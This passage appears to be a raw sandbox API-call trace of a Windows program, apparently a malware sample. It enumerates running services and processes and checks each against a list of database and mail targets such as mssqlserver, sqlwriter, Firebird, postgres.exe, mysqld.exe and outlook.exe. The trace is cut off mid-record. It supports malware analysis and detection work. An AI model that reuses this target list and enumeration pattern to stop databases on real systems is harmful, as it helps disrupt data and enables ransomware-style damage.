lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0052.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0052.377] lstrlenW (lpString="Power") returned 5 [0052.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0052.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0052.395] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0052.395] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0052.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0052.396] lstrlenW (lpString="ProfSvc") returned 7 [0052.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0052.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0052.399] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0052.399] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0052.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0052.402] lstrlenW (lpString="RpcEptMapper") returned 12 [0052.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0052.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0052.403] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0052.403] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0052.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0052.403] lstrlenW (lpString="RpcSs") returned 5 [0052.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0052.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0052.404] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0052.404] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0052.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0052.404] lstrlenW (lpString="SamSs") returned 5 [0052.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0052.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0052.404] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0052.404] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0052.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0052.404] lstrlenW (lpString="Schedule") returned 8 [0052.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0052.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0052.404] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0052.404] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0052.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0052.404] lstrlenW (lpString="SENS") returned 4 [0052.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0052.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0052.404] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0052.404] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0052.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0052.404] lstrlenW (lpString="ShellHWDetection") returned 16 [0052.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0052.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0052.404] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0052.404] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0052.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0052.404] lstrlenW (lpString="Spooler") returned 7 [0052.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0052.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0052.405] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0052.405] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0052.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0052.405] lstrlenW (lpString="swprv") returned 5 [0052.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0052.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0052.405] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0052.405] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0052.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0052.405] lstrlenW (lpString="SysMain") returned 7 [0052.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0052.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0052.405] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0052.405] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0052.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0052.405] lstrlenW (lpString="Themes") returned 6 [0052.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0052.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0052.405] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0052.405] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0052.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0052.405] lstrlenW (lpString="TrkWks") returned 6 [0052.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0052.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0052.405] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0052.405] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0052.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0052.405] lstrlenW (lpString="UxSms") returned 5 [0052.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0052.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0052.405] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0052.406] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0052.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0052.406] lstrlenW (lpString="VSS") returned 3 [0052.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0052.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0052.406] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0052.406] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0052.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0052.406] lstrlenW (lpString="WdiServiceHost") returned 14 [0052.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0052.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0052.406] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0052.406] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0052.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0052.406] lstrlenW (lpString="WdiSystemHost") returned 13 [0052.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0052.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0052.406] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0052.406] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0052.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0052.406] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0052.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0052.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0052.406] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0052.406] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0052.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0052.406] lstrlenW (lpString="Winmgmt") returned 7 [0052.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0052.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0052.406] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0052.406] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0052.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0052.406] lstrlenW (lpString="WPDBusEnum") returned 10 [0052.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0052.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0052.407] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0052.407] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0052.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0052.407] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x53a0068 | out: hHeap=0x790000) returned 1 [0052.407] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x388 [0052.409] Process32FirstW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0052.409] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0052.410] lstrlenW (lpString="System") returned 6 [0052.410] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0052.410] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0052.410] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0052.410] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0052.410] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0052.410] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0052.410] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0052.410] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0052.410] lstrlenW (lpString="smss.exe") returned 8 [0052.410] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0052.410] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0052.410] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0052.410] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0052.410] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0052.410] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0052.410] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0052.410] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0052.411] lstrlenW (lpString="csrss.exe") returned 9 [0052.411] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0052.411] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0052.411] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0052.411] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0052.411] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0052.411] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0052.411] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0052.411] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0052.411] lstrlenW (lpString="wininit.exe") returned 11 [0052.411] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0052.411] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0052.411] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0052.411] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0052.412] lstrlenW (lpString="csrss.exe") returned 9 [0052.412] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0052.412] lstrlenW (lpString="winlogon.exe") returned 12 [0052.412] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0052.412] lstrlenW (lpString="services.exe") returned 12 [0052.412] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0052.412] lstrlenW (lpString="lsass.exe") returned 9 [0052.412] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0052.413] lstrlenW (lpString="lsm.exe") returned 7 [0052.413] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.413] lstrlenW (lpString="svchost.exe") returned 11 [0052.413] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.413] lstrlenW (lpString="svchost.exe") returned 11 [0052.413] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.414] lstrlenW (lpString="svchost.exe") returned 11 [0052.414] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.414] lstrlenW (lpString="svchost.exe") returned 11 [0052.414] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.414] lstrlenW (lpString="svchost.exe") returned 11 [0052.414] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0052.415] lstrlenW (lpString="audiodg.exe") returned 11 [0052.415] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.415] lstrlenW (lpString="svchost.exe") returned 11 [0052.415] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.415] lstrlenW (lpString="svchost.exe") returned 11 [0052.415] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0052.415] lstrlenW (lpString="dwm.exe") returned 7 [0052.416] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0052.416] lstrlenW (lpString="explorer.exe") returned 12 [0052.416] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0052.416] lstrlenW (lpString="spoolsv.exe") returned 11 [0052.416] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0052.416] lstrlenW (lpString="taskhost.exe") returned 12 [0052.416] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.417] lstrlenW (lpString="svchost.exe") returned 11 [0052.417] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0052.417] lstrlenW (lpString="taskeng.exe") returned 11 [0052.417] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0052.417] lstrlenW (lpString="taskhost.exe") returned 12 [0052.417] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="johnston-audit-transportation.exe")) returned 1 [0052.418] lstrlenW (lpString="johnston-audit-transportation.exe") returned 33 [0052.418] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="noticed.exe")) returned 1 [0052.418] lstrlenW (lpString="noticed.exe") returned 11 [0052.418] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uploaded.exe")) returned 1 [0052.418] lstrlenW (lpString="uploaded.exe") returned 12 [0052.418] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hardware.exe")) returned 1 [0052.418] lstrlenW (lpString="hardware.exe") returned 12 [0052.419] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oracle.exe")) returned 1 [0052.419] lstrlenW (lpString="oracle.exe") returned 10 [0052.419] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="creativity.exe")) returned 1 [0052.419] lstrlenW (lpString="creativity.exe") returned 14 [0052.419] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="returnsaturdaystakeholders.exe")) returned 1 [0052.419] lstrlenW (lpString="returnsaturdaystakeholders.exe") returned 30 [0052.419] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edited.exe")) returned 1 [0052.420] lstrlenW (lpString="edited.exe") returned 10 [0052.420] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="custody.exe")) returned 1 [0052.420] lstrlenW (lpString="custody.exe") returned 11 [0052.420] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aggregate ver hawaii.exe")) returned 1 [0052.420] lstrlenW (lpString="aggregate ver hawaii.exe") returned 24 [0052.420] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="same_oxygen_researchers.exe")) returned 1 [0052.421] lstrlenW (lpString="same_oxygen_researchers.exe") returned 27 [0052.421] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receipt affects separated.exe")) returned 1 [0052.421] lstrlenW (lpString="receipt affects separated.exe") returned 29 [0052.421] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius.exe")) returned 1 [0052.421] lstrlenW (lpString="radius.exe") returned 10 [0052.421] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="extensions.exe")) returned 1 [0052.422] lstrlenW (lpString="extensions.exe") returned 14 [0052.422] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="desperate.exe")) returned 1 [0052.422] lstrlenW (lpString="desperate.exe") returned 13 [0052.422] Process32NextW (in: hSnapshot=0x388, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, 